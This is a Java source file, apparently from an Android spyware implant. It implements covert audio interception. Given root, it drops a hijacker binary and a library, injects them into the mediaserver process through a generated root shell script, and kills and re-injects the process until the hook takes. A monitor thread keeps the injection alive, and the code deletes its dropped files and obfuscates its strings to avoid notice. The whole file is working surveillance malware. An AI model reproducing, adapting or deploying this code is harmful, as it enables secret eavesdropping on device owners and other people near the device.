package com.android.dvci.util;

import com.android.dvci.Beep;
import com.android.dvci.Root;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.Configuration;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.file.AutoFile;
import com.android.mm.M;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;

public class Instrument {
	private static final String TAG = "Instrument";
	private static final int MAX_KILLED = 3;
	private String proc;
	private MediaserverMonitor pidMonitor;
	private static String lib, hijacker, path, dumpPath, pidCompletePath, pidFile;
	private boolean stopMonitor = false;

	private Thread monitor;
	private int killed = 0;
	private String lid = M.e(" lid ");

	public Instrument(String process, String dump) {
		final File filesPath = Status.getAppContext().getFilesDir();

		proc = process;

		hijacker = "m";
		lib = "n";
		path = filesPath.getAbsolutePath();
		dumpPath = dump;
		pidFile = M.e("irg");
		pidCompletePath = path + "/" + pidFile;
	}

	private boolean deleteHijacker() {
		if (Cfg.DEBUG) {
			Check.log(TAG + " (installHijacker) delete lib");
		}
		AutoFile file = new AutoFile(Status.getAppContext().getFilesDir(), lib);
		file.delete();
		file = new AutoFile(Status.getAppContext().getFilesDir(), hijacker);
		file.delete();
		return true;
	}

	private boolean installHijacker() {
		try {
			if (!Status.haveRoot()) {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(installHijacker): Nope, we are not root");
				}

				return false;
			}

			Utils.dumpAsset(M.e("ib.data"), lib);
			Utils.dumpAsset(M.e("mb.data"), hijacker);

			// Install library
			Execute.chmod(M.e("666"), path + "/" + lib);
			Execute.chmod(M.e("750"), path + "/" + hijacker);

		} catch (Exception e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			return false;
		}

		return true;
	}

	public boolean startInstrumentation() {
		if (!Status.haveRoot()) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(startInstrumentation): Nope, we are not root");
			}

			return false;
		}

		if (!installHijacker()) {
			return false;
		}

		try {
			int pid = getProcessPid();

			if (pid > 0) {
				// Run the injector
				String scriptName = "ij";
				String script = M.e("#!/system/bin/sh") + "\n";
				script += path + "/" + hijacker + " -p " + pid + " -l " + path + "/" + lib + " -f " + dumpPath + "\n";

				Root.createScript(scriptName, script);
				ExecuteResult ret = Execute.executeRoot(path + "/" + scriptName);
				if (Cfg.DEBUG) {
					Check.log(TAG + " (startInstrumentation) exit code: " + ret.exitCode);
				}

				Root.removeScript(scriptName);

				Utils.sleep(2000);
				int newpid = getProcessPid();
				if (newpid != pid) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (startInstrumentation) Error: mediaserver was killed");
					}
				}

				File d = new File(dumpPath);

				boolean started = false;

				for (int i = 0; i < 5 && !started; i++) {
					File[] files = d.listFiles();
					for (File file : files) {
						if (file.getName().endsWith(M.e(".cnf"))) {
							if (Cfg.DEBUG) {
								Check.log(TAG + " (startInstrumentation) got file: " + file.getName());
							}
							started = true;
							file.delete();

							if (Cfg.DEMO) {
								Beep.beep();
							}
						}

					}
					if (!started) {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (startInstrumentation) sleep 5 secs");
						}
						Utils.sleep(2000);
					}
				}

				if (!started && killed < MAX_KILLED) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (startInstrumentation) Kill mediaserver");
					}
					killProc();
					// Utils.sleep(1000);
					// newpid = getProcessPid();
					killed += 1;

					if (started) {
						if(Cfg.DEBUG) {
							Check.log(TAG + " (startInstrumentation) Audio Hijack installed");
						}
						EvidenceBuilder.info(M.e("Audio injected"));
					}

					stopMonitor = false;
				}

				if (pidMonitor == null) {
					if (Cfg.DEBUG) {
						Check.log(TAG + " (startInstrumentation) script: \n" + script);
						Check.log(TAG + "(startInstrumentation): Starting MeadiaserverMonitor thread");
					}

					pidMonitor = new MediaserverMonitor(newpid);
					monitor = new Thread(pidMonitor);
					monitor.start();
				} else {
					pidMonitor.setPid(newpid);
				}
			} else {
				if (Cfg.DEBUG) {
					Check.log(TAG + "(getProcessPid): unable to get pid");
				}

			}
		} catch (Exception e) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (startInstrumentation) Error: " + e);
			}
			return false;
		} finally {
			deleteHijacker();
		}

		return true;
	}

	public void stopInstrumentation() {
		stopMonitor = true;
		monitor = null;
	}

	private int getProcessPid() {
		int pid;
		byte[] buf = new byte[4];
		if (Cfg.DEBUG) {
			Check.log(TAG + " (getProcessPid) " + proc + " " + pidCompletePath);
		}
		Execute.execute(Configuration.shellFile + lid + proc + " " + pidCompletePath);

		try {
			FileInputStream fis = Status.getAppContext().openFileInput(pidFile);

			fis.read(buf);
			fis.close();

			// Remove PID file
			File f = new File(pidCompletePath);
			f.delete();

			// Parse PID from the file
			ByteBuffer bbuf = ByteBuffer.wrap(buf);
			bbuf.order(ByteOrder.LITTLE_ENDIAN);
			pid = bbuf.getInt();
		} catch (IOException e) {
			if (Cfg.EXCEPTION) {
				Check.log(e);
			}

			return 0;
		}

		return pid;
	}

	public void killProc() {
		try {
			int pid = getProcessPid();
			if (Cfg.DEBUG) {
				Check.log(TAG + " (killProc) try to kill " + pid);
			}
			Execute.executeRoot("kill " + pid);
		} catch (Exception ex) {
			if (Cfg.DEBUG) {
				Check.log(TAG + " (killProc) Error: " + ex);
			}
		}
	}

	class MediaserverMonitor implements Runnable {
		private int cur_pid, start_pid;
		private int failedCounter = 0;

		public void setPid(int pid) {
			start_pid = pid;
		}

		public MediaserverMonitor(int pid) {
			if (Cfg.DEBUG) {
				Check.log(TAG + "(MediaserverMonitor): starting with pid " + pid);
			}

			setPid(pid);
		}

		@Override
		public void run() {
			while (true) {

				if (stopMonitor) {
					if (Cfg.DEBUG) {
						Check.log(TAG + "(MediaserverMonitor run): closing monitor thread");
					}

					stopMonitor = false;
					return;
				}

				cur_pid = getProcessPid();

				// Mediaserver died
				if (cur_pid != start_pid) {
					if (Cfg.DEBUG) {
						Check.log(TAG + "(MediaserverMonitor run): Mediaserver died, restarting instrumentation");
					}

					failedCounter += 1;
					if (failedCounter < 3) {
						startInstrumentation();
					} else {
						if (Cfg.DEBUG) {
							Check.log(TAG + " (run) too many retry, sto restart mediaserver");
						}
					}
				} else {
					failedCounter = 0;
				}

				Utils.sleep(10000);
			}
		}
	}
}
